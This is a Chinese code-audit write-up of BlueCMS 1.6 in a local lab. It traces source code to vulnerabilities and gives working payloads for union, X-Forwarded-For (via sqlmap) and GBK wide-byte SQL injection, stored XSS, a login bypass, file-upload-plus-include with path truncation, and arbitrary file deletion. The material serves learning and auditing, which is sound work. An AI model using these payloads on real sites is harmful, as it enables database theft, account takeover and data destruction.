持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第十三天,点击查看活动详情
安装
安装时候遇见了显示空白的问题,过程中忘记截图记录了,这里简单说一下,我环境里面还有其他东西,所以安装是localhost/bluecms/uploads/install,但是访问是空白的,需要把install/compile里面那个php文件删除掉;另外就是安装到step5显示空白,尝试了百度上说降低php版本和给权限无果后,想到了最简单粗暴的办法,找到源码把index.php里面的step5给注释掉了哈哈哈哈哈希望之后不会因为这个报错。
环境
phpstudy lamp php5.2.17 bluecms 1.6 windows10
目录结构
admin -> 管理员后台
api -> 接口
data -> 数据
images -> 图片
include -> 功能点文件,编辑器、支付等
install -> 安装文件
template -> 模板
前台漏洞
ad_js.php存在数字型注入
搜索require,首先发现ad_js.php,往下看,发现给$_POST、$_GET这些超全局变量加了一层deep_addslashes()
function deep_addslashes($str){
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
之前看过一篇文章,deep_addslashes()容易存在数组key注入,但是这里的这个好像是没有的
\$ad_id = !empty(\$_GET['ad_id']) ? trim(\$_GET['ad_id']) : '';
\$ad = \$db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".\$ad_id);
使用了getone()函数,追踪下mysql.class.php,发现是直接带入了查询,那么就可以使用数字型注入
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
?ad_id=1%20union%20select%201,2,3,4,5,6,database()#
这里简单写下key注入
<?php
foreach($_GET as $key=>$value){
foreach($value as $a=>$b){
$c=addslashes($b);
echo $a."<br/>";
echo $c."<br/>";
echo $b;
}
}
?>
?key[hh']=11'
可以看到其实$a和$b是没有被转义的,因此存在数组key注入
我可能一直对数组没学明白,这里从代码方面写一下数组,以及为什么会存在数组注入
<?php
$row = array("one'" => "1'", "two'" => "2'");
foreach ($row as $key => $val) {
echo $key . '--' . $val;
echo "<br/>";
echo $row[$key];
echo "<br/>";
}
?>
输出结果$key=one,$val=1,$row[$key]=1,一直困扰我的点就是我认为$val=1,那么根据deep_addslashes()函数里面的$str[$key] = deep_addslashes($val)的话,$row[$key]就应该为1,也就是转义后的$val,但其实不是这样的,$key仍然是one,那么再回到写的demo里面
<?php
$username = array("aaa" => "111");
$username = deep_addslashes($username);
function deep_addslashes($str)
{
if (!$str)
return $str;
if (is_array($str)) { // 数组处理
foreach ($str as $key => $value) {
var_dump($str);
print "</br>";
var_dump($str[$key]);
print "</br>";
$str[$key] = deep_addslashes($value);
var_dump($key);
}
}
}
那么$key = aaa',$value = 111',$str[$key] = deep_addslashes($value) = 111',但是这里要注意的是key仍然为aaa' 所以说存在数组key注入,\srt[key'payload]=value
comment.php、guest_book.php存在XFF注入
在common.inc.php里面发现对$_POST、$_GET等都进行了deep_addslashes()过滤,但是少了$_SERVER,而通过comment.php的内容,我们知道需要$_SERVER[‘X_FORWARDED_FOR']获取ip,获取到的ip将会直接传入到数据库中,文件中也定义了一个函数来获取ip,可以看到和我们想的是一样的
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
getenv()是一个获取系统环境变量的函数,没有对ip进行过滤,直接从$_SERVER中获取的,那么就可以构造X_FORWARDER_FOR或者REMOTE_ADDE、CLIENT_IP的值来进行注入,也就是常说的ip伪造
报错,但是后面使用报错注入不知道为什么不出数据,只能sqlmap了....我恨
POST包保存为1.txt,将XFF设置为*,这样sqlmap才知道要在哪里进行注入
python sqlmap.py -r 1.txt --batch --level 4 -dbs
user.php存在xss、宽字节注入
之前一直是在登录状态,今天刚打开网站发现是个注册界面,随便输点数据,抓包看下
发现跳到了do_reg这个函数里面,追踪下这个函数
elseif ($act == 'do_reg') {
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
$pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
$pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
$from = !empty($from) ? base64_decode($from) : 'user.php';
if (strlen($user_name) < 4 || strlen($user_name) > 16) {
showmsg('用户名字符长度不符');
}
if (strlen($pwd) < 6) {
showmsg('密码不能少于6个字符');
}
if ($pwd != $pwd1) {
showmsg('两次输入密码不一致');
}
if (strtolower($safecode) != strtolower($_SESSION['safecode'])) {
showmsg('验证码错误');
}
if ($db->getone("SELECT * FROM " . table('user') . " WHERE user_name='$user_name'")) {
showmsg('该用户名已存在');
}
if ($db->getone("SELECT * FROM " . table('admin') . " WHERE admin_name='$user_name'")) {
showmsg('该用户名已存在');
}
$sql = "INSERT INTO " . table('user') . " (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";
发现通过POST进行传参,我们知道的是在配置文件里面已经对POST进行deep_addslashes()转义,SQL查询也加了单引号进行包裹,但是!!看我发现了什么
编码为gbk,哈哈哈哈哈哈哈哈宽字节注入我来了,因为用户名限制在十六个字符内,而密码又进行了md5编码,那我们就可以把重心放在email这里,加个%df',所以payload为:
123@qq.com%df',1,1),(100,0x7a6875616e6779,md5(123456),(select database()),1,1);#
那么数据库就是:
insert into blue_user (user_id,user_name,pwd,email,reg_time) values (1,'eee','111','123@qq.com%df',1,1),(100,0x7a6875616e6779,md5(123456),(select database()),1,1);#')
其中的用户名因为单引号问题所以转换为十六进制
可以看到email位置,已经输出了库名
简单说下宽字节注入,addslashes()会在我们输入的单引号前面添加一个转义符\,但是在gbk里面%df'也就是编码后的%5C%27,%df%5c就是繁体字連,那么就能成功逃逸出单引号
另外这里直接把数据带入数据库中进行查询,且没有进行什么过滤,那么就可以尝试xss
还是在email中传参,email=123@qq.com"><script>alert(1)</script>
还是一个存储型xss
user.php存在万能密码登录
继续看前台这个登录,抓包看下
去看index_login函数,只是简单的不为空和去除空格
$user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';
$pwd = !empty($_REQUEST['pwd']) ? trim($_REQUEST['pwd']) : '';
$w = login($user_name, $pwd);
继续追踪login函数,重点是
$sql = "SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name' and pwd=md5('$pwd')";
就可以使用万能密码进行登录,注意要根据SQL语句使用括号进行闭合
user_name=qq111&pwd=eeee%df') or 1=1#
user.php存在文件上传
根据源码,只能上传图片类型的,所以上传了一个图片马,所以需要寻找一处有文件包含的点,这里有个很快速的办法:全局搜索require/require_once/include/incluede_once => $_POST/$_GET可控制传参
include 'include/payment/' . $_POST['pay'] . "/index.php";
哦吼,可以控制pay的值,配合文件上传进行包含,需要把后面的index.php截断掉,这里有两个办法
%00/%20截断
但是这里是有条件的,需要php低版本,并且magic_quotes_gpc=off
文件名溢出截断
Windows下长度为256,linux为2096
submit=%D4%DA%CF%DF%D6%A7%B8%B6&price=30&id=B1620460664E&name=%B1%E3%C3%F1%BF%A8&pay=../../data/upload/face_pic/16204526497.png....................................................................................................................................................................................................................................................................................................................................................................................
user.php存在目录读取&任意文件删除
参考这位师傅的文章 www.jianshu.com/p/49949a564… xz.aliyun.com/t/7074
$from = !empty($from) ? base64_decode($from) : 'user.php';
可以看到$from这个是可控的,继续跟进这个变量
showmsg('欢迎您 ' . $user_name . ' 回来,现在将转到...', $from);
先看下showmsg函数的内容
function showmsg($msg,$gourl='goback', $is_write = false)
{
global $smarty;
$smarty->caching = false;
$smarty->assign("msg",$msg);
$smarty->assign("gourl",$gourl);
$smarty->display("showmsg.htm");
if($is_write)
{
write_log($msg, $_SESSION['admin_name']);
}
exit();
}
虽然这里定义了$gourl='goback',但是我们仍然可以赋值
直接跳转到$from里面,可以看到这是在$act=do_login函数里面的内容,抓包看下,form这里面默认是空白的,我们传admin/index.php进去
任意文件删除
if (!empty($_POST['face_pic1'])) {
if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false) {
showmsg('只支持本站相对路径地址');
} else {
$face_pic = trim($_POST['face_pic1']);
}
} else {
if (file_exists(BLUE_ROOT . $_POST['face_pic3'])) {
@unlink(BLUE_ROOT . $_POST['face_pic3']);
}
}
如果face_pic1为空,就可以进去下面的else,设置face_pic3的值为文件名就可以随意删除了
全局搜索unlink,可以发现很多任意文件删除
unlink()函数用来删除文件,只要绕过if判断,配合burp就可以达到任意文件删除的功能
后台漏洞
前台的感觉看了七七八八了,感觉后台的功能很多,研究研究后台
ad_phone.php存在存储型xss和宽字节注入
和前面的user.php是一样的,id存在宽字节注入,id的值经过GET方式直接传参进行,虽然有addslashes()对单引号进行转义,但是仍然可以使用宽字节注入绕过
elseif($act == 'del')
{
if(!$db->query("DELETE FROM ".table('ad_phone')." WHERE id=".$_GET['id']))
{
showmsg('删除电话广告出错', true);
}
ad.php存在xss
$exp_content = !empty($_POST['exp_content']) ? trim($_POST['exp_content']) : '';
$sql = "INSERT INTO ".table('ad')." (ad_id, ad_name, time_set, start_time, end_time, content, exp_content) VALUES ('', '$ad_name', '$time_set', '$start_time', '$end_time', '$content', '$exp_content')";
$db->query($sql);
showmsg('添加新广告成功', 'ad.php');
ad_name只进行了不为空和去除空格操作,不影响xss ad_name=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28123%29%3E,和上面一样也是可以宽字节+insert注入 ann.php的$content、arc_cat.php的$description存在SQL注入和xss 这后台的SQL注入和xss也太太太多了吧!!!就不写了啊啊啊啊啊啊啊啊